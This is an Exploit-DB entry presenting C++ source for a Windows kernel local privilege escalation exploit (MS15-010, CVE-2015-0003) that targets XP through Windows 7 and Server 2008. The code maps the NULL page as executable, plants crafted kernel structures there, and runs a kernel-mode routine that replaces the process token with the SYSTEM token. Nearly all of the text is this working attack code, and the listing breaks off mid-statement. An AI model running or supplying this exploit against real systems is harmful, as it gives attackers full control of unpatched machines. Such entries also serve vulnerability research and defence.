Exploit-DB #37098
Description: Microsoft Windows - Local Privilege Escalation (MS15-010)
Type: local
Platform: windows
Date: 2015-05-25
Author: Sky lake

Exploit:
// ex.cpp
/*
	Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoP
	CVE-2015-0003
	March 2015 (Public Release: May 24, 2015)

	Tested on:
				x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3
				x64: Win 2k8 SP1 | Win 2k8 R2 SP1

	Author: Skylake - skylake <at> mail <dot> com
*/

#include "ex.h"

_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
_PsReferencePrimaryToken PsReferencePrimaryToken;
DWORD Pid;
ATOM atom;
BOOL KrnlMode, bSpawned;

DWORD_PTR WINAPI pti()
{
#ifdef _M_X64
	LPBYTE p = ( LPBYTE ) __readgsqword( 0x30 );
	return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x78 ) );
#else
	LPBYTE p = ( LPBYTE ) __readfsdword( 0x18 );
	return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x40 ) );
#endif
}

BOOL find_and_replace_member( PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize )
{
	DWORD_PTR dwIndex, dwMask;

#ifdef _M_X64
	dwMask = ~0xf;
#else
	dwMask = ~7;
#endif
	//
	dwCurrentValue &= dwMask;

	for( dwIndex = 0; dwIndex < dwMaxSize; dwIndex++ )
	{
		if( ( pdwStructure[dwIndex] & dwMask ) == dwCurrentValue )
		{
			//
			pdwStructure[dwIndex] = dwNewValue;
			return TRUE;
		}
	}

	return FALSE;
}

BOOL WINAPI Init()
{
	HMODULE hMod = NULL;
	PVOID Base = NULL;
	OSVERSIONINFO ov = { sizeof( OSVERSIONINFO ) };
	PSYSTEM_MODULE_INFORMATION pm = NULL;
	BOOL RetVal = FALSE;

	__try {

		if( !GetVersionEx( &ov ) ) __leave;

		if( ov.dwMajorVersion == 5 && ov.dwMinorVersion > 0 )
		{
			atom = 0xc039;
		}

		else if( ov.dwMajorVersion == 6 && ov.dwMinorVersion < 2 )
		{
			atom = ( ov.dwMinorVersion == 1 ) ? 0xc03c : 0xc03a;
		}

		if( !atom ) __leave;

		_ZwQuerySystemInformation ZwQuerySystemInformation = ( _ZwQuerySystemInformation ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwQuerySystemInformation" );
		if( !ZwQuerySystemInformation ) __leave;

		ZwAllocateVirtualMemory = ( _ZwAllocateVirtualMemory ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwAllocateVirtualMemory" );
		if( !ZwAllocateVirtualMemory ) __leave;

		ULONG len;
		LONG status = ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &len );
		if( !status ) __leave;

		pm = ( PSYSTEM_MODULE_INFORMATION ) LocalAlloc( LMEM_ZEROINIT, len );
		if( !pm ) __leave;
		status = ZwQuerySystemInformation( SystemModuleInformation, pm, len, &len );
		if( status ) __leave;

		CHAR szKrnl[MAX_PATH] = { 0 }, *t;

		for( ULONG i = 0; i < pm->Count; ++i )
		{
			if( strstr( pm->Module[i].ImageName, "exe" ) )
			{
				t = strstr( pm->Module[i].ImageName, "nt" );
				if( t )
				{
					strcpy_s( szKrnl, _countof( szKrnl ) - 1, t );
					Base = pm->Module[i].Base;
					break;
				}
			}
		}

		hMod = LoadLibraryA( szKrnl );

		if( !hMod || !Base ) __leave;
		
		PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) GetProcAddress( hMod, "PsLookupProcessByProcessId" );
		if( !PsLookupProcessByProcessId ) __leave;

		PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsLookupProcessByProcessId - ( DWORD_PTR ) hMod ) );

		PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) GetProcAddress( hMod, "PsReferencePrimaryToken" );

		if( !PsReferencePrimaryToken ) __leave;

		PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsReferencePrimaryToken - ( DWORD_PTR ) hMod ) );
		Pid = GetCurrentProcessId();
		RetVal = TRUE;
	}

	__finally {
		if( pm ) LocalFree( pm );
		if( hMod ) FreeLibrary( hMod );
	}

	return RetVal;
}

LRESULT CALLBACK ShellCode( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
{
	LPVOID pCurProcess = NULL;
	LPVOID pSystemInfo = NULL;
	PACCESS_TOKEN systemToken;
	PACCESS_TOKEN targetToken;

	PsLookupProcessByProcessId( ( HANDLE ) Pid, &pCurProcess );
	PsLookupProcessByProcessId( ( HANDLE ) 4, &pSystemInfo );

	targetToken = PsReferencePrimaryToken( pCurProcess );
	systemToken = PsReferencePrimaryToken( pSystemInfo );

	//
	find_and_replace_member( ( PDWORD_PTR ) pCurProcess,
		( DWORD_PTR ) targetToken,
		( DWORD_PTR ) systemToken,
		0x200 );
	KrnlMode = TRUE;
	return  0;
}

VOID WINAPI leave()
{
	keybd_event( VK_ESCAPE, 0, 0, NULL );
	keybd_event( VK_ESCAPE, 0, KEYEVENTF_KEYUP, NULL );
	keybd_event( VK_LWIN, 0, KEYEVENTF_KEYUP, NULL );
}

LRESULT CALLBACK WndProc( HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam )
{
	if( bSpawned )
	{
		leave();
		ExitProcess( 0 );
	}

	switch( message )
	{
	case WM_CREATE:
		SetTimer( hWnd, ID_TIMER, 1000 * 3, NULL );
		FlashWindow( hWnd, TRUE );
		keybd_event( VK_LWIN, 0, 0, NULL );
		break;
	case WM_CLOSE:
		DestroyWindow( hWnd );
		break;
	case WM_DESTROY:
		PostQuitMessage( 0 );
		break;
	case WM_TIMER:
		KillTimer( hWnd, ID_TIMER );
		leave();
		DestroyWindow( hWnd );
		break;
	default:
		return DefWindowProc( hWnd, message, wParam, lParam );
	}
	return 0;
}

int APIENTRY _tWinMain( _In_ HINSTANCE hInstance,
	_In_opt_ HINSTANCE hPrevInstance,
	_In_ LPTSTR    lpCmdLine,
	_In_ int       nCmdShow )
{
	WNDCLASSEX wc = { sizeof( WNDCLASSEX ) };
	HWND hWnd = NULL;
	MSG Msg = { 0 };

	SIZE_T size = 0x1000;
	LPVOID addr = ( LPVOID ) 1;

	if( !Init() ) return 1;
	
	if( ZwAllocateVirtualMemory( ( HANDLE ) -1, &addr, 0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ) )
	{
		//
		return 1;
	}

	DWORD_PTR p = pti();
	if( !p ) return 1;

#ifdef _M_X64
	*( ( PDWORD_PTR ) 0x10 ) = p;
	*( ( LPBYTE ) 0x2a ) = 4;
	*( ( LPVOID* ) 0x90 ) = ( LPVOID ) ShellCode;
	*( ( PDWORD_PTR ) 0xa8 ) = 0x400;
	*( ( LPDWORD ) 0x404 ) = 1;
	*( ( PDWORD_PTR ) 0x408 ) = 0x800;
	*( ( LPWORD ) 0x410 ) = atom;
	*( ( LPBYTE ) 0x412 ) = 1;
#else
	*( ( LPDWORD ) 0x08 ) = p;
	*( ( LPBYTE ) 0x16 ) = 4;
	*( ( LPVOID* ) 0x60 ) = ( LPVOID ) ShellCode;
	*( ( LPDWORD )